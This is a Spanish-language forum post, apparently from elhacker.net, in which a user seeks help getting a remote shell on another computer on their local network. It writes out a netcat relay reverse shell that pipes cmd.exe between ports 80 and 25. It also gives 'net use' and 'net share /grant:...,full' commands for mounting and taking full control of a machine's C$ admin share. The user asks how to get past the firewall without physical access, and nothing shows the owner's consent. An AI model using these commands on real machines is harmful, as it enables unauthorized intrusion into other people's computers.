Pues estuve toqueteando y siguiendo el tutorial de una persona
y hice varias cosas y consegui la shell del otro equipo ahora
quise crear un directorio con el c$
net use x: \\XXXXXXXX\C$ pwd /user:XXXX\test
las primeras x son la ip y el user el que elegi del nbtstat -a XXXXXXX
(test y pwd los deje, son los del tuto)
Pues hace poco me dió bien, y lo tuve en X:
sin embargo ahora me dice error 53 no se encuentra la ruta especificada
la ip del otro equipo era esa y corre bajo mi mismo WiFi.
Muchas gracias por adelantado y gracias por tomarse el tiempo en leer.
EDIT:
se puede obtener el c: si el equipo esta en mi misma red sin necesitar acceso fisico al pc?
lo intente me da error y solo me escucha en el 25 en el 80 sigue listening

 mi duda es que yo sigo los pasos (comprendiendo que hace)
Y la conexion directa me la pilla el firewall asi que nada, y ahora probe hacer el netcat con los puertos 80 y 25 no?
hasta ahi todo bien
una vez dentro lo que hacia era net use x: \\ip\C$ pwd /user:USUARIO\test
es decir crear una copia del C suyo en X:
y me daba error porque no se encontraba la ruta
asi que improvise y hice net share XX=C: /grant:test,full
ahi me doy permisos en su c:
y todo bien, pero ahora cuando lo intento hacer con otro pc de mi red(ANTES LO HICE EN EL MIO)
pongo su ip y eso, el otro pc tiene los puertos abiertos pero el firewall activado
y cuando ejecuto el reverse de 80 y 25 en el netcat es decir lo de nc 192.168.x.xx 80 | cmd.exe | nc 192.168.x.xx me da señal en uno (80) pero no envia cmds (no los recibo en el 25) No sé como explicarme
EN RESUMEN:
en el local me va bien, pero en el otro pc (que tiene el firewall on pero puertos abiertos) me da bastantes errores, si fuera alguien tan amable de enseñarme un poco el proceso paso a paso para entrar a un pc de red local diferente al mio

Ah, digamos que debe tener nc en system32
pero no hace falta que disponga de acceso físico  no?
si el dispone de nc yo hago eso y recibo el shell?

Y habría algun metodo (de netcat) de modo que yo pudiera tener su shell sin que el tenga nc? y con el firewall activado
muchisimas gracias CloudswX!

Ok duda casi solucionada
ya solo la ultima cosa
cuando lo hice en localhost en vez de darme permisos en mi c:
hice net share HDD=C: /grant:USUARIOMIO,Full
ese fue bien
pero a mi me gustaria tener permisos completos ya que algunas cosas no me deja (c:windows) aunque haga el permiso en HDD=C:/Windows
se me encapricho el net use x
pues hago net use x: \\IP\C$ USUARIOMIO /user:ASUS\CONTRASEÑA
(elegi ASUS habiendo hecho nbtstat -a y encontré ASUS (el mio))
Resultado:
Error 53 no se encuentra ruta especificada, volvi a hacer nbtstat -a a mi ip y lo mismo ASUS y tal... gracias a los que me ayudan y ayuden y por la molestia en leer cosas tan largas
 

YA SOLUCIONE TODO!
GRACIAS ELHACKER.NET! (en concreto a CLOUDSWX)